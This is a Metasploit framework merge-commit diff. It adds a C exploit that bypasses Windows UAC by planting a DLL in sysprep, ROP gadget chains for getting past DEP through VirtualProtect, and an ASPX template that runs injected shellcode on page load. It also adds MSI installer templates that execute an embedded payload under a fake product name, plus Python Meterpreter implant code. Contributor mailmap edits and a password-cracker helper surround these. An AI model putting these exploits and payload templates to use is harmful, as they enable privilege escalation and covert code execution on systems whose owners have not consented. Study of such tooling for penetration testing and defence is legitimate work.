Use sysnative to delete the cryptbase.dll when in SYSWOW64 process.

Merge branch 'master' of github.com:Meatballs1/metasploit-framework into bypassuac_redo

Conflicts:
	modules/exploits/windows/local/bypassuac.rb
bug/bundler_fix
Meatballs 2013-10-17 21:01:57 +01:00
commit b3cc9f6f1e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
528 changed files with 38947 additions and 34460 deletions

View File

@ -1,14 +1,13 @@
bperry-r7 <bperry-r7@github> Brandon Perry <bperry.volatile@gmail.com>
bperry-r7 <bperry-r7@github> Brandon Perry <bperry@bperry-rapid7.(none)>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
@ -16,35 +15,39 @@ shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
tasos-r7 <tasos-r7@github> Tasos Laskos <Tasos_Laskos@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
# Above this line are current Rapid7 employees Below this paragraph are
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
# one time or another, had some largeish number of commits landed on
# rapid7/metasploit-framework master branch. This should be refreshed
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be>
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
@ -56,6 +59,9 @@ kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>

Binary file not shown.

Binary file not shown.

View File

@ -149,6 +149,8 @@ TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
# Socket
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
@ -273,6 +275,9 @@ ERROR_FAILURE = 1
# errors.
ERROR_CONNECTION_ERROR = 10000
WIN_AF_INET = 2
WIN_AF_INET6 = 23
def get_stat_buffer(path):
si = os.stat(path)
rdev = 0
@ -290,6 +295,27 @@ def get_stat_buffer(path):
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
def resolve_host(hostname, family):
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
family = address_info[0]
address = address_info[4][0]
return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}
def windll_GetNativeSystemInfo():
if not has_windll:
return None
@ -687,6 +713,40 @@ def stdapi_fs_stat(request, response):
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_resolve_host(request, response):
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
result = resolve_host(hostname, family)
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_resolve_hosts(request, response):
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
hostname = hostname['value']
try:
result = resolve_host(hostname, family)
except socket.error:
result = {'family':family, 'packed_address':''}
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
@ -842,9 +902,12 @@ def stdapi_registry_query_value(request, response):
if value_type.value == REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
elif value_type.value == REG_DWORD:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
value = value_data[:4]
value.reverse()
value = ''.join(map(chr, value))
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response

View File

@ -111,6 +111,24 @@ def packet_get_tlv(pkt, tlv_type):
offset += tlv[0]
return {}
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
@ -271,7 +289,7 @@ class PythonMeterpreter(object):
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

66
data/ropdb/hxds.xml Normal file
View File

@ -0,0 +1,66 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>2007</target>
</compatibility>
<gadgets base="0x51bd0000">
<gadget offset="0x000750fd">POP EAX # RETN</gadget>
<gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
<gadget offset="0x0001803c">skip 4 bytes</gadget>
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
<gadget value="safe_negate_size">Safe size to NEG</gadget>
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
<gadget value="ffffffc0">0x00000040</gadget>
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x000406e9">POP ECX # RETN</gadget>
<gadget offset="0x0008bfae">Writable location</gadget>
<gadget offset="0x0003cc24">POP EDI # RETN</gadget>
<gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
<gadget offset="0x0002d94b">POP ESI # RETN</gadget>
<gadget offset="0x0002c840">JMP [EAX]</gadget>
<gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
<gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>2010</target>
</compatibility>
<gadgets base="0x51bd0000">
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
<gadget value="safe_negate_size">Safe size to NEG</gadget>
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x0002a429">POP EDX # RETN</gadget>
<gadget value="ffffffc0">0x00000040</gadget>
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
<gadget offset="0x0008c638">Writable location</gadget>
<gadget offset="0x0000be1d">POP EDI # RETN</gadget>
<gadget offset="0x00005383">RETN (ROP NOP)</gadget>
<gadget offset="0x00073335">POP ESI # RETN</gadget>
<gadget offset="0x0002c7cb">JMP [EAX]</gadget>
<gadget offset="0x00076452">POP EAX # RETN</gadget>
<gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
<gadget offset="0x0006604e">PUSHAD # RETN</gadget>
<gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
</gadgets>
</rop>
</db>

View File

@ -9,7 +9,7 @@
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
<gadget offset="0x00024c66">skip 4 bytes</gadget>
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
<gadget value="FFFFFBFF">0x00000201</gadget>
<gadget value="safe_negate_size">0x00000201</gadget>
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
<gadget value="0xffffffff"></gadget>

View File

@ -7,12 +7,21 @@
</compatibility>
<gadgets base="0x77c10000">
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
@ -33,23 +42,29 @@
</compatibility>
<gadgets base="0x77ba0000">
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget offset="0x00001114">VirtualProtect()</gadget>
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
<gadget value="junk">Filler</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x00026320">POP EBP # RETN</gadget>
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
<gadget offset="0x0004ff56">Writable location</gadget>
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
<gadget value="nop">nop</gadget>
<gadget offset="0x00029801">POP EBP # RETN</gadget>
<gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="0x03C0990F">EAX</gadget>
<gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
<gadget offset="0x000148d3">POP EBX, RET</gadget>
<gadget offset="0x000521e0">.data</gadget>
<gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
<gadget offset="0x0001fc02">POP ECX # RETN</gadget>
<gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
<gadget offset="0x00038c04">POP EDI # RETN</gadget>
<gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="0x03C0944F">EAX</gadget>
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
<gadget offset="0x00012563">POP EAX # RETN</gadget>
<gadget value="nop">NOP</gadget>
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
</gadgets>
</rop>

View File

@ -0,0 +1,21 @@
<%%@ Page Language="C#" AutoEventWireup="true" %%>
<%%@ Import Namespace="System.IO" %%>
<script runat="server">
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
protected void Page_Load(object sender, EventArgs e)
{
%{shellcode}
IntPtr %{var_funcAddr} = VirtualAlloc(IntPtr.Zero,(UIntPtr)%{var_bytearray}.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(%{var_bytearray},0,%{var_funcAddr},%{var_bytearray}.Length);
IntPtr %{var_threadId} = IntPtr.Zero;
IntPtr %{var_hThread} = CreateThread(IntPtr.Zero,UIntPtr.Zero,%{var_funcAddr},IntPtr.Zero,0,ref %{var_threadId});
}
</script>

3
data/templates/src/msi/.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
*.msi
*.wixobj
*.wixpdb

View File

@ -0,0 +1,7 @@
Compile using WiX: http://wixtoolset.org
Recompile with a larger buffer file to increase the available
buffer size for larger payloads if required.
candle template_x86_windows.wxs
light template_x86_windows.wixobj

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,18 @@
@echo off
REM Set PATH to location of your WiX binaries
SET PATH=%PATH%;c:\tools\local\wix38-binaries\
@echo on
candle template_windows.wxs
light template_windows.wixobj
copy template_windows.msi ..\..\template_windows.msi
del template_windows.msi
del template_windows.wixobj
del template_windows.wixpdb
candle template_nouac_windows.wxs
light template_nouac_windows.wixobj
copy template_nouac_windows.msi ..\..\template_nouac_windows.msi
del template_nouac_windows.msi
del template_nouac_windows.wixobj
del template_nouac_windows.wixpdb

View File

@ -0,0 +1,38 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" InstallPrivileges="limited" />
<Media Id='1' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
<Binary Id='Payload' SourceFile='buffer' />
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='yes' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<!-- Define ALLUSERS with a blank value -->
<Property Id="ALLUSERS" Secure="yes"/>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecPayload" After="InstallInitialize" />
<Custom Action="FailInstallation" Before="InstallFiles" />
</InstallExecuteSequence>
</Product>
</Wix>

View File

@ -0,0 +1,35 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
<Media Id='1' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
<Binary Id='Payload' SourceFile='buffer' />
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecPayload" After="InstallInitialize" />
<Custom Action="FailInstallation" Before="InstallFiles" />
</InstallExecuteSequence>
</Product>
</Wix>

Binary file not shown.

Binary file not shown.

View File

@ -4,11 +4,14 @@ void exploit()
{
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
@ -25,8 +28,6 @@ void exploit()
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
Wow64DisableWow64FsRedirection(&OldValue);
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
@ -37,14 +38,24 @@ void exploit()
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
@ -70,15 +81,26 @@ void exploit()
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
// Only enable redirection for the process execution.
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 200);
TerminateProcess(shinfo.hProcess, 0); // Even better if the template payload.dll calls ExitProcess
CloseHandle(shinfo.hProcess);
}
Wow64RevertWow64FsRedirection(OldValue);
/* Delete copied file - This doesn't appear to work in SYSWOW64 despite disabling the redirect?? */
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**) &pSHIDelete))
if (0 != pSHIDelete)
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (!pFileOp->PerformOperations())
{
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**) &pSHIDelete))
if (0 != pSHIDelete)
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
@ -91,4 +113,6 @@ void exploit()
}
}
}
}
}
}

View File

@ -37,13 +37,19 @@ module Auxiliary::JohnTheRipper
autodetect_platform
end
# @return [String] the run path instance variable if the platform is detectable, nil otherwise.
def autodetect_platform
cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo")
return @run_path if @run_path
cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo")
if File.directory?(cpuinfo_base)
data = nil
case ::RUBY_PLATFORM
when /mingw|cygwin|mswin/
data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil
fname = "#{cpuinfo_base}/cpuinfo.exe"
if File.exists?(fname) and File.executable?(fname)
data = %x{"#{fname}"} rescue nil
end
case data
when /sse2/
@run_path ||= "run.win32.sse2/john.exe"
@ -52,20 +58,24 @@ module Auxiliary::JohnTheRipper
else
@run_path ||= "run.win32.any/john.exe"
end
when /x86_64-linux/
::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil
data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil
fname = "#{cpuinfo_base}/cpuinfo.ia64.bin"
if File.exists? fname
::FileUtils.chmod(0755, fname) rescue nil
data = %x{"#{fname}"} rescue nil
end
case data
when /mmx/
@run_path ||= "run.linux.x64.mmx/john"
else
@run_path ||= "run.linux.x86.any/john"
end
when /i[\d]86-linux/
::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil
data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil
fname = "#{cpuinfo_base}/cpuinfo.ia32.bin"
if File.exists? fname
::FileUtils.chmod(0755, fname) rescue nil
data = %x{"#{fname}"} rescue nil
end
case data
when /sse2/
@run_path ||= "run.linux.x86.sse2/john"
@ -75,7 +85,9 @@ module Auxiliary::JohnTheRipper
@run_path ||= "run.linux.x86.any/john"
end
end
@run_path
end
return @run_path
end
def john_session_id

View File

@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
####
